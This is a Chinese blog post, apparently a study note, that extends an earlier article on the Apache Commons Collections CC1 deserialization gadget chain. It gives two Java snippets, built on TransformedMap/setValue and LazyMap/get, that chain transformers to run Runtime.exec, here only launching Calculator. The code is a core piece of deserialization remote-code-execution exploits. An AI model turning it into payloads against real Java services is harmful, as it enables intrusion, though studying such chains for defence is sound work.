java--commoncollections1 补充

java--commoncollections1 补充,第1张

上篇文章对构造payload和利用payload有了基本的了解,这篇文章就稍微补充一下其它的利用方法。

我们可以知道map可以使用put方法使内容发生变化,但也有其它方法也可以使用内容发生变化从而触发利用,如setValue方法

package com.zyer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.*;

public class CC1 {
    public static void main(String[] args){
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerchain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put(1,1);
        Map outermap =  TransformedMap.decorate(innermap,null,transformerchain);
        Iterator it = outermap.entrySet().iterator();
        while (it.hasNext()){
            Map.Entry entry = (Map.Entry)it.next();
            System.out.println(entry);
            entry.setValue("zyer");

        }
        
        }
    }


那么我们可以知道,利用cc1链触发发序列化漏洞的思路就是寻找一个类有readObject方法,且能传入Map类型的参数,并且会让我们传入的参数执行setValue/put方法,下一篇文章进行学习。


在学习过程中发现除了TransformedMap.decorate()这个方法之外还可以使用lazymap的get方法同样能触发

package com.zyer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.*;

public class CC1 {
    public static void main(String[] args){
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerchain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put(1,2);
        Map outermap =  LazyMap.decorate(innermap,transformerchain);
        outermap.get(0);


        }
    }


不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。

innermap

就是get中的参数必须不是innermap中存在的key值才能获取.

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/877695.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-13
下一篇 2022-05-13

发表评论

登录后才能评论

评论列表(0条)

保存